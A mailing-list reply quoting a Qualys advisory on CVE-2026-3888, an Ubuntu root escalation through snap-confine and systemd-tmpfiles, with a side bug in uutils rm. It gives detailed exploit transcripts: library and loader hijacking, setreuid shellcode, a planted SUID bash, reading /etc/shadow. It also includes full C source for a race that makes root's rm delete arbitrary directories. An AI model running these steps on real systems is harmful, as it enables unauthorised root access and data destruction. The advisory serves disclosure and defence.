Nice work... flashbacks from 2002 (https://lcamtuf.coredump.cx/tmp_paper.txt). It's frankly somewhat mind-boggling that distros keep a world-writable /tmp this day and age. Whatever questionable benefits it has, it also contributed to plenty of pointless and easily avoidable vulns.
/mz On Tue, Mar 17, 2026 at 1:35 PM Qualys Security Advisory <[email protected]> wrote: > > > Qualys Security Advisory > > Good things come to those who wait: > snap-confine + systemd-tmpfiles = root (CVE-2026-3888) > > > ======================================================================== > Contents > ======================================================================== > > Summary > Case study: Ubuntu Desktop 24.04 > - Analysis > - Exploitation > Case study: Ubuntu Desktop 25.10 > - Overview > - Exploitation > A quick note on the uutils coreutils (the rust-coreutils) > Acknowledgments > Timeline > > And that is why Caterpillar was never in a hurry. > She knew that good things come to those who wait. > -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry" > > > ======================================================================== > Summary > ======================================================================== > > We discovered an unusual Local Privilege Escalation (LPE), from any > unprivileged user to full root, in the default installation of Ubuntu > Desktop >= 24.04. We found this vulnerability particularly interesting: > > a/ it stems from the interaction of two otherwise secure programs: > > - snap-confine, which is set-user-ID-root (or set-capabilities), and > "used internally by snapd to construct the execution environment for > snap applications" (man snap-confine); > > - systemd-tmpfiles, which is executed as root once per day, and > "creates, deletes, and cleans up files and directories, using the > configuration file format and location specified in tmpfiles.d(5)" > (man systemd-tmpfiles); > > b/ an unprivileged local attacker who wants to exploit this LPE must > wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to > obtain a fully privileged root shell. > > As a side note, we also discovered a local vulnerability (a race > condition) in the uutils coreutils (a Rust rewrite of the standard GNU > coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default > in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before > its release (by replacing the uutils coreutils' rm with the standard GNU > coreutils' rm), and would otherwise have resulted in an LPE (from any > unprivileged user to full root) in the default installation of Ubuntu > Desktop 25.10. > > > ======================================================================== > Case study: Ubuntu Desktop 24.04 > ======================================================================== > > Go slow, go slow, > If you want to grow. > -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry" > > ________________________________________________________________________ > > Analysis > ________________________________________________________________________ > > We recently noticed that, in the default installation of Ubuntu since > version 24.04, systemd-tmpfiles is configured to automatically clean up > the files and directories in /tmp that are older than 30 days (in Ubuntu > 24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles > traverses /tmp once per day and deletes all the files and directories > that have not been accessed nor modified for more than 10 or 30 days. > > ------------------------------------------------------------------------ > $ cat /etc/os-release > PRETTY_NAME="Ubuntu 24.04.3 LTS" > ... > > $ cat /usr/lib/tmpfiles.d/tmp.conf > ... > D /tmp 1777 root root 30d > #q /var/tmp 1777 root root 30d > ------------------------------------------------------------------------ > > ------------------------------------------------------------------------ > $ cat /etc/os-release > PRETTY_NAME="Ubuntu 25.10" > ... > > $ cat /usr/lib/tmpfiles.d/tmp.conf > ... > q /tmp 1777 root root 10d > q /var/tmp 1777 root root 30d > ------------------------------------------------------------------------ > > From our "Lemmings" and "Leeloo" advisories, we then remembered that > snap-confine does highly privileged work in /tmp; in particular, in the > /tmp/snap-private-tmp directory, which is securely created at boot time > (as user root, mode 0700): > > https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt > https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt > > ------------------------------------------------------------------------ > $ cat /usr/lib/tmpfiles.d/snapd.conf > D! /tmp/snap-private-tmp 0700 root root - > ------------------------------------------------------------------------ > > We therefore came up with the following idea: if, unbeknownst to > snap-confine, systemd-tmpfiles deletes one of the files or directories > from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local > attacker) re-create the deleted file or directory ourselves, and exploit > snap-confine's privileged work to obtain a fully privileged root shell? > > Still from our "Lemmings" and "Leeloo" advisories, we also remembered > that, to set up a snap's sandbox, snap-confine creates a directory named > /tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later > bind-mounted onto the /tmp directory inside the snap's sandbox. > > And inside this /tmp directory (inside the snap's sandbox), snap-confine > creates a directory named /tmp/.snap (as user root, mode 0755) to create > "mimics"; for example, inside the sandbox of each and every snap that is > installed by default on Ubuntu Desktop, snap-confine bind-mounts the > /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 directory: > > - to bind-mount this directory, snap-confine must first create its > /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint, which does not > normally exist; > > - but inside the snap's sandbox, /usr/lib/x86_64-linux-gnu is in a > read-only filesystem (the "core22" base's squashfs); > > - so snap-confine must first create a "mimic" of > /usr/lib/x86_64-linux-gnu (a writable copy of > /usr/lib/x86_64-linux-gnu), by: > > 1/ bind-mounting the original, read-only /usr/lib/x86_64-linux-gnu onto > /tmp/.snap/usr/lib/x86_64-linux-gnu (inside the snap's sandbox); > > 2/ mounting a new, writable tmpfs onto /usr/lib/x86_64-linux-gnu; > > 3/ bind-mounting every file and directory from > /tmp/.snap/usr/lib/x86_64-linux-gnu back into /usr/lib/x86_64-linux-gnu; > > 4/ creating the /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint > (which is in a writable tmpfs now); > > 5/ finally bind-mounting > /snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 > (for example) onto /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0. > > ------------------------------------------------------------------------ > $ grep /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/* > /var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 > /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout > 0 0 > ... > ------------------------------------------------------------------------ > > Consequently, our theoretical idea to exploit snap-confine is: > > - inside the snap's sandbox, we frequently write to the /tmp directory > (but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to > delete the unmodified /tmp/.snap directory (but not /tmp) after 10 > days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04); > > - we re-create the /tmp/.snap directory ourselves (indeed, /tmp is > world-writable), and create our own copy of /usr/lib/x86_64-linux-gnu > in /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange; > > - we force snap-confine to set up the snap's sandbox afresh, but during > the creation of the /usr/lib/x86_64-linux-gnu "mimic", between step 1/ > and step 3/, we quickly replace /tmp/.snap/usr/lib/x86_64-linux-gnu > with our own /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange (indeed, > /tmp/.snap belongs to us); > > - as a result, during step 3/ of the creation of this "mimic", > snap-confine bind-mounts our own files into /usr/lib/x86_64-linux-gnu, > so we control every shared library and the dynamic loader (inside the > snap's sandbox) and can execute arbitrary code as root by simply > executing any dynamically-linked SUID-root binary. > > In the following proof of concept for Ubuntu Desktop 24.04, we put this > theoretical idea into practice. > > ________________________________________________________________________ > > Exploitation > ________________________________________________________________________ > > First, we set up the sandbox of one of the snaps that are installed by > default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine > with the "core22" base, then we obtain an unprivileged shell inside this > snap's sandbox, we chdir to its /tmp directory, we frequently write to > this directory (but not to its /tmp/.snap sub-directory), and we wait > for systemd-tmpfiles to delete the unmodified /tmp/.snap directory > (after 30 days, in Ubuntu 24.04). > > ------------------------------------------------------------------------ > outside$ cat /etc/os-release > PRETTY_NAME="Ubuntu 24.04.3 LTS" > ... > > outside$ id > uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users) > > outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base > core22 snap.firefox.hook.configure /bin/bash > > inside$ cd /tmp > > inside$ stat ./.snap > ... > Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) > ... > > inside$ while test -d ./.snap; do touch ./; sleep 60; done > [30 days pass] > > inside$ stat ./.snap > stat: cannot statx './.snap': No such file or directory > ------------------------------------------------------------------------ > > Second, from another shell outside the snap's sandbox, we chdir to > /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through > the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to > /tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp > belongs to root, mode 0700), we destroy the snap's sandbox (but not its > /tmp directory) by executing snap-confine with an invalid base (the > "snapd" base), and we run our firefox_24.04.c helper (which is basically > CVE-2021-44731-Desktop.c from our "Lemmings" advisory): > > - we re-create the ./.snap directory ourselves (/tmp/.snap inside the > snap's sandbox), since it was deleted by systemd-tmpfiles, and we > create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu > in ./.snap/usr/lib/x86_64-linux-gnu.exchange; > > - we force snap-confine to set up the snap's sandbox afresh, by > executing it with the "core22" base, but we "single-step" this > execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its > stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we > read() its output byte by byte, and we recv(MSG_PEEK) at its buffered > output), to reliably win the race condition between step 1/ and step > 3/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu; > > - as soon as we read() or recv() the following message (immediately > after step 1/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu), > > mount name:"/usr/lib/x86_64-linux-gnu" > dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" > > we quickly replace snap-confine's ./.snap/usr/lib/x86_64-linux-gnu > with our own ./.snap/usr/lib/x86_64-linux-gnu.exchange, whose contents > are then bind-mounted into /usr/lib/x86_64-linux-gnu, thus giving us > full control over every shared library and the dynamic loader inside > the snap's sandbox. > > ------------------------------------------------------------------------ > outside$ cd /proc/2396/cwd > > outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base > snapd snap.firefox.hook.configure /nonexistent > /user.slice/user-1001.slice/session-145.scope is not a snap cgroup > > outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash > Running as unit: snap.whatever.scope; invocation ID: > ed50ae80aa9844d6a6e4499ea1f4bba8 > > outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base > snapd snap.firefox.hook.configure /nonexistent > cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_yMpga4//dev: No > such file or directory > > outside$ exit > > outside$ ~/firefox_24.04 > hange.go:351: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" > dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" type:"" opts:MS_BIND|MS_REC > unparsed:"" (error: <nil>) > change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/lib/x86_64-linux-gnu" > type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>) > ... > change.go:351: DEBUG: mount > name:"/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" > dir:"/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" type:"" opts:MS_BIND > unparsed:"" (error: <nil>) > ... > change.go:351: DEBUG: mount > name:"/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" > dir:"/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" type:"none" > opts:MS_BIND|MS_REC unparsed:"" (error: <nil>) > ... > execv failed: No such file or directory > ------------------------------------------------------------------------ > > Third, we obtain an unprivileged shell inside this newly set up sandbox, > by executing snap-confine with the same "core22" base; and from another > shell outside this snap's sandbox, we chdir to its / directory, through > the /proc/pid/root of our sandboxed shell, we copy /usr/bin/busybox to > ./tmp/sh (/tmp/sh inside the snap's sandbox), and we overwrite the > dynamic loader ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (which > belongs to us) with a simple shellcode that calls setreuid(0) and > execve(/tmp/sh) (a busybox shell). > > ------------------------------------------------------------------------ > outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base > core22 snap.firefox.hook.configure /bin/bash > inside$ > ------------------------------------------------------------------------ > > ------------------------------------------------------------------------ > outside$ cd /proc/4516/root > > outside$ cp /usr/bin/busybox ./tmp/sh > > outside$ cat ~/librootshell.so > > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 > ------------------------------------------------------------------------ > > Fourth, we obtain a root shell inside the snap's sandbox, by executing > snap-confine itself through snap-confine, which is dynamically linked > and SUID-root and therefore executes our own dynamic loader's shellcode > (and hence a busybox shell) as root. (Note: the snap's sandbox contains > various SUID-root binaries, but only the execution of snap-confine is > allowed by its AppArmor profile.) > > ------------------------------------------------------------------------ > outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base > core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine > ... > BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash) > ... > > inside# id > uid=0(root) gid=1001(jane) groups=100(users),1001(jane) > ^^^^^^^^^^^ > > inside# cat /etc/shadow > cat: can't open '/etc/shadow': Permission denied > ------------------------------------------------------------------------ > > Fifth, because this root shell is still inside the snap's sandbox, > confined by an AppArmor profile and a seccomp filter, we copy /bin/bash > to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are > allowed by the AppArmor profile and the seccomp filter), and execute > this SUID-root shell from outside the snap's sandbox, thereby finally > gaining full root privileges. > > ------------------------------------------------------------------------ > inside# cp /bin/bash /var/snap/firefox/common/ > > inside# chmod 04755 /var/snap/firefox/common/bash > > inside# exit > > outside$ /var/snap/firefox/common/bash -p > > outside# id > uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users) > ^^^^^^^^^^^^ > > outside# cat /etc/shadow > root:*:20305:0:99999:7::: > daemon:*:20305:0:99999:7::: > ... > ------------------------------------------------------------------------ > > > ======================================================================== > Case study: Ubuntu Desktop 25.10 > ======================================================================== > > Why go fast? > Let life run past? > -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry" > > ________________________________________________________________________ > > Overview > ________________________________________________________________________ > > For Ubuntu Desktop 25.10 we must change our exploitation strategy, > because snap-confine is not SUID-root anymore; instead, it now has > capabilities attached: > > ------------------------------------------------------------------------ > $ stat /usr/lib/snapd/snap-confine > ... > Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) > ... > > $ getcap /usr/lib/snapd/snap-confine > /usr/lib/snapd/snap-confine > cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p > ------------------------------------------------------------------------ > > These capabilities are actually very powerful, and we can obtain them > inside a snap's sandbox by slightly revising our exploitation strategy > from Ubuntu 24.04 (by calling capset() and prctl(PR_CAP_AMBIENT_RAISE) > instead of setreuid(0)), but most of these capabilities and associated > syscalls are then denied to us by AppArmor and seccomp, thus preventing > us from gaining full root privileges outside the snap's sandbox. > > Consequently, we decided to re-use the strategy that we used in our > "Lemmings" advisory to exploit the "snap-store" snap (which is installed > by default on Ubuntu Desktop): instead of racing against the "mimic" > creation of /usr/lib/x86_64-linux-gnu, we race against the "mimic" > creation of /var/lib (which is needed to bind-mount /var/lib/app-info > inside snap-store's sandbox), which allows us to control /var/lib and > hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn > allows us to bind-mount near-arbitrary directories and obtain a root > shell inside snap-store's sandbox, and eventually a fully privileged > root shell outside snap-store's sandbox. > > ________________________________________________________________________ > > Exploitation > ________________________________________________________________________ > > First, we set up snap-store's sandbox by executing snap-confine with the > "core22" base, we obtain an unprivileged shell inside this sandbox, we > chdir to its /tmp directory, we frequently write to this directory (but > not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles > to delete the unmodified /tmp/.snap directory (after 10 days, in Ubuntu > 25.10). > > ------------------------------------------------------------------------ > outside$ cat /etc/os-release > PRETTY_NAME="Ubuntu 25.10" > ... > > outside$ id > uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users) > > outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine > --base core22 snap.snap-store.hook.configure /bin/bash > > inside$ cd /tmp > > inside$ stat ./.snap > ... > Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) > ... > > inside$ while test -d ./.snap; do touch ./; sleep 60; done > [10 days pass] > > inside$ stat ./.snap > stat: cannot statx './.snap': No such file or directory > ------------------------------------------------------------------------ > > Second, from another shell outside snap-store's sandbox, we chdir to > /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the > /proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox > (but not its /tmp directory) by executing snap-confine with an invalid > base ("snapd"), and we run our snap-store_25.10.c helper (which is also > basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory): > > - we re-create the ./.snap directory ourselves (/tmp/.snap inside > snap-store's sandbox), since it was deleted by systemd-tmpfiles, and > we create our own copy of /snap/core22/current/var/lib in > ./.snap/var/lib.exchange; > > - we force snap-confine to set up snap-store's sandbox afresh, by > executing it with the "core22" base, but we "single-step" this > execution (with SNAPD_DEBUG=1), to reliably win the race condition > between step 1/ and step 3/ of the "mimic" creation of /var/lib; > > - as soon as we see the following debug message (immediately after step > 1/ of the "mimic" creation of /var/lib), > > mount name:"/var/lib" dir:"/tmp/.snap/var/lib" > > we quickly replace snap-confine's ./.snap/var/lib with our own > ./.snap/var/lib.exchange, whose contents are then bind-mounted into > /var/lib (inside snap-store's sandbox); this replacement has two > beneficial consequences for us: > > a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which > allows us to bind-mount near-arbitrary directories inside snap-store's > sandbox (these bind-mounts are not completely arbitrary, because they > are still confined by an AppArmor profile); > > b/ various SUID-root binaries remain bind-mounted in /tmp/.snap, and > their execution is allowed by an AppArmor rule "/tmp/** mrwlkix," > inside snap-store's sandbox. > > ------------------------------------------------------------------------ > outside$ cd /proc/4078/cwd > > outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine > --base snapd snap.snap-store.hook.configure /nonexistent > /user.slice/user-1001.slice/session-33.scope is not a snap cgroup > > outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash > Running as unit: snap.whatever.scope; invocation ID: > 113af972356b4f08a58461cf64cc57f6 > > outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine > --base snapd snap.snap-store.hook.configure /nonexistent > cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_GCNDEM//dev: No > such file or directory > > outside$ exit > > outside$ ~/snap-store_25.10 > ... > hange.go:351: DEBUG: mount name:"/var/lib" dir:"/tmp/.snap/var/lib" type:"" > opts:MS_BIND|MS_REC unparsed:"" (error: <nil>) > change.go:351: DEBUG: mount name:"tmpfs" dir:"/var/lib" type:"tmpfs" opts: > unparsed:"mode=0755,uid=0,gid=0" (error: <nil>) > ... > change.go:426: DEBUG: umount "/tmp/.snap/var/lib" UMOUNT_NOFOLLOW|MNT_DETACH > (error: invalid argument) > change.go:399: DEBUG: ignoring EINVAL from unmount, "/tmp/.snap/var/lib" is > not mounted > change.go:477: DEBUG: remove "/tmp/.snap/var/lib" (error: remove > /tmp/.snap/var/lib: directory not empty) > ... > /var/lib/snapd not root-owned 1001:1001 > ------------------------------------------------------------------------ > > Third, still from outside snap-store's sandbox but inside its /tmp > directory: > > - we create a copy of /etc in ./.snap/etc (/tmp/.snap/etc inside the > sandbox), we add /tmp/librootshell.so to ./.snap/etc/ld.so.preload, we > create ./librootshell.so (/tmp/librootshell.so inside the sandbox), a > simple shellcode that calls setreuid(0) and execve(/tmp/sh), we copy > /usr/bin/busybox to ./sh (/tmp/sh inside the sandbox), and we add the > following to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab, > which will bind-mount our copy of /etc inside snap-store's sandbox: > > /tmp/.snap/etc /etc none rbind,rw 0 0 > > - we also add the following line to > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (and replace > our own ./.snap/var/lib with the original ./.snap/var/lib.exchange), > which will bind-mount the original, root-owned /var/lib/snapd inside > snap-store's sandbox (otherwise snap-confine dies because it detects > that /var/lib/snapd does not belong to root -- it belongs to us since > we won the race condition against the "mimic" creation of /var/lib): > > /tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0 > > ------------------------------------------------------------------------ > outside$ cp -a /etc ./.snap > ... > > outside$ echo /tmp/librootshell.so > ./.snap/etc/ld.so.preload > > outside$ cp ~/librootshell.so ./ > > outside$ cp /usr/bin/busybox ./sh > > outside$ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab > > outside$ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab > > outside$ mv ./.snap/var/lib ./.snap/var/lib.exchange2 > > outside$ mv ./.snap/var/lib.exchange ./.snap/var/lib > ------------------------------------------------------------------------ > > Fourth, we obtain a root shell inside snap-store's sandbox, by executing > snap-confine with one of the SUID-root binaries in /tmp/.snap (such as > /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su), which > is dynamically linked and therefore preloads our /tmp/librootshell.so > and executes our shellcode (and hence a busybox shell) as root. > > ------------------------------------------------------------------------ > outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine > --base core22 snap.snap-store.hook.configure > /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su > ... > BusyBox v1.37.0 (Ubuntu 1:1.37.0-4ubuntu1) built-in shell (ash) > ... > > inside# id > uid=0(root) gid=1001(jane) groups=100(users),1001(jane) > ^^^^^^^^^^^ > > inside# cat /etc/shadow > cat: can't open '/etc/shadow': No such file or directory > ------------------------------------------------------------------------ > > Fifth, because this root shell is still inside snap-store's sandbox, > confined by an AppArmor profile and a seccomp filter, we copy /bin/bash > to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are > allowed by the AppArmor profile and the seccomp filter), and execute > this SUID-root shell from outside snap-store's sandbox, thereby finally > gaining full root privileges. > > ------------------------------------------------------------------------ > inside# cp /bin/bash /var/snap/snap-store/common/ > > inside# chmod 04755 /var/snap/snap-store/common/bash > > inside# exit > > outside$ /var/snap/snap-store/common/bash -p > > outside# id > uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users) > ^^^^^^^^^^^^ > > outside# cat /etc/shadow > root:*:20368:0:99999:7::: > daemon:*:20368:0:99999:7::: > ... > ------------------------------------------------------------------------ > > > ======================================================================== > A quick note on the uutils coreutils (the rust-coreutils) > ======================================================================== > > In August 2025, before the release of Ubuntu 25.10, the Ubuntu Security > Team proactively contacted us and kindly asked us if we were interested > in reviewing the security of the uutils coreutils (a Rust rewrite of the > standard GNU coreutils -- ls, cp, rm, cat, sort, sleep, etc), which are > since then installed by default in Ubuntu 25.10. > > We were deeply interested, and honored, but unfortunately at the time we > were already working full-time on another project; so we told the Ubuntu > Security Team that we would not be able to conduct an official security > review, but that we would try to work on it anyway during our free time. > > We started by carefully reading the following report, which already > contained extremely valuable information; in particular, the mention of > "unsafe, racy, tree walking algorithms" caught our attention: > > https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815 > > From our work on apport (CVE-2025-5054), we then remembered that the > shell script /etc/cron.daily/apport is installed by default on Ubuntu, > is executed as root once per day, and can recursively delete entire > sub-directories of /var/crash, which is world-writable like /tmp: > > ------------------------------------------------------------------------ > $ cat /etc/cron.daily/apport > ... > find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex > '.*/[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \; > > $ stat /var/crash > ... > Access: (3777/drwxrwsrwt) Uid: ( 0/ root) Gid: ( 0/ root) > ... > ------------------------------------------------------------------------ > > Since rm is one of the uutils coreutils, we decided to create a > directory /var/crash/base/parent/target (as an unprivileged attacker) > and to analyze the strace of an "rm -Rf /var/crash/base" command (as > root), and we quickly discovered that rm was vulnerable to a trivial > race condition: > > ------------------------------------------------------------------------ > 1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0 > ... > 147 openat(AT_FDCWD, "/var/crash/base", > O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 > ... > 152 openat(AT_FDCWD, "/var/crash/base/parent", > O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4 > ... > 158 openat(AT_FDCWD, "/var/crash/base/parent/target", > O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 > ... > 163 rmdir("/var/crash/base/parent/target") = 0 > ... > 167 rmdir("/var/crash/base/parent") = 0 > ... > 171 rmdir("/var/crash/base") = 0 > ... > 174 exit_group(0) = ? > ------------------------------------------------------------------------ > > - if, after rm calls openat() on /var/crash/base/parent (at line 152), > but before rm calls openat() on /var/crash/base/parent/target (at line > 158), if the attacker replaces /var/crash/base/parent with a symlink > (which will be followed by rm) to another part of the filesystem (for > example, to /etc), then this attacker can delete arbitrary parts of > the filesystem, as root (the shell script /etc/cron.daily/apport is > executed as root); > > - for example, if the attacker replaces "parent" with a symlink to /etc, > and if "target" is "ppp", then rm will recursively delete the entire > /etc/ppp directory. > > We immediately reported this vulnerability to Ubuntu, who, as a > temporary mitigation in Ubuntu 25.10, replaced the default rm with a > symlink to the standard GNU coreutils' rm (i.e., in Ubuntu 25.10, rm is > a symlink to /usr/bin/gnurm, not a symlink to the uutils coreutils' > /usr/lib/cargo/bin/coreutils/rm). > > To the best of our knowledge, this vulnerability in the uutils > coreutils' rm was later fixed upstream (by calling openat() relatively > to each component of a path, instead of calling openat() on absolute > paths and resolving each path component multiple times), by commits: > > > https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41 > > https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b > > https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714 > > However, at the time of writing this advisory, the uutils coreutils' > /usr/lib/cargo/bin/coreutils/rm that is shipped with Ubuntu 25.10 is > still vulnerable (but unused, since the default is the GNU coreutils' > rm); this allows us to test what would have happened if the vulnerable > rm had been shipped as the default in Ubuntu 25.10. For example, below > we run our proof of concept as an unprivileged user, and root executes > the rm command that would have been executed by /etc/cron.daily/apport, > thereby accidentally deleting the entire /etc/ppp directory: > > ------------------------------------------------------------------------ > $ cat /etc/os-release > PRETTY_NAME="Ubuntu 25.10" > ... > > $ id > uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users) > > $ cat > uutils_rm.c << "EOF" > #define _GNU_SOURCE > #include <sys/inotify.h> > #include <sys/param.h> > #include <sys/stat.h> > #include <sys/types.h> > #include <dirent.h> > #include <fcntl.h> > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <unistd.h> > #include <utime.h> > > #define die() do { \ > fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ > exit(EXIT_FAILURE); \ > } while (0) > > int > main(const int argc, const char * const argv[]) > { > if (argc < 3) die(); > const char * const writable_dir = argv[1]; > if (*writable_dir != '/') die(); > > const char * const parent_dir = strdup(argv[2]); > if (!parent_dir) die(); > char * const last_slash = strrchr(parent_dir, '/'); > if (!last_slash) die(); > > const char * const target_dir = strdup(last_slash + 1); > if (!target_dir) die(); > > last_slash[1] = '\0'; > if (*parent_dir != '/') die(); > if (!*target_dir) die(); > > unsigned long n_pre_dirs = 32; > if (argc > 3) { > if (argc != 4) die(); > n_pre_dirs = strtoul(argv[3], NULL, 0); > } > if (n_pre_dirs <= 0) die(); > if (n_pre_dirs > (1u<<20)) die(); > > if (chdir(writable_dir)) die(); > char base_dir[] = "XXXXXX"; > if (!mkdtemp(base_dir)) die(); > if (chdir(base_dir)) die(); > > if (mkdir("parent", 0700)) die(); > if (chdir("parent")) die(); > if (mkdir(target_dir, 0700)) die(); > > const char * first_dir = NULL; > for (;;) { > char try[] = "XXXXXX"; > if (!mkdtemp(try)) die(); > > unsigned long n = 0; > DIR * const dirp = opendir("."); > if (!dirp) die(); > for (;;) { > const struct dirent * const entp = readdir(dirp); > if (!entp) die(); > if (*entp->d_name == '.') continue; > if (!strcmp(entp->d_name, target_dir)) break; > n++; > if (!first_dir) { > first_dir = strdup(entp->d_name); > if (!first_dir) die(); > } > } > if (closedir(dirp)) die(); > if (n >= n_pre_dirs) break; > } > if (!first_dir) die(); > > if (chdir(first_dir)) die(); > unsigned long i; > for (i = 0; i < n_pre_dirs; i++) { > char num[256]; > snprintf(num, sizeof(num), "%lu", i); > if (mkdir(num, 0700)) die(); > } > const int in_fd = inotify_init(); > if (in_fd <= -1) die(); > if (inotify_add_watch(in_fd, ".", IN_ATTRIB) <= -1) die(); > > if (chdir("..")) die(); > if (chdir("..")) die(); > if (symlink(parent_dir, "../switch")) die(); > static const struct utimbuf epoch = { 1, 1 }; > if (utime(".", &epoch)) die(); > > fprintf(stderr, "ready\n"); > static char in_buf[sizeof(struct inotify_event) + NAME_MAX + 1]; > if (read(in_fd, in_buf, sizeof(in_buf)) < (ssize_t)sizeof(struct > inotify_event)) die(); > if (renameat2(AT_FDCWD, "parent", AT_FDCWD, "../switch", > RENAME_EXCHANGE)) die(); > die(); > } > EOF > > $ gcc -s -o uutils_rm uutils_rm.c > > $ stat /etc/ppp > ... > Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) > ... > > $ ./uutils_rm /var/crash /etc/ppp > ready > ------------------------------------------------------------------------ > > Then, as root (to simulate the /etc/cron.daily/apport shell script): > > ------------------------------------------------------------------------ > # id > uid=0(root) gid=0(root) groups=0(root) > > # dpkg -S /usr/lib/cargo/bin/coreutils/rm > rust-coreutils: 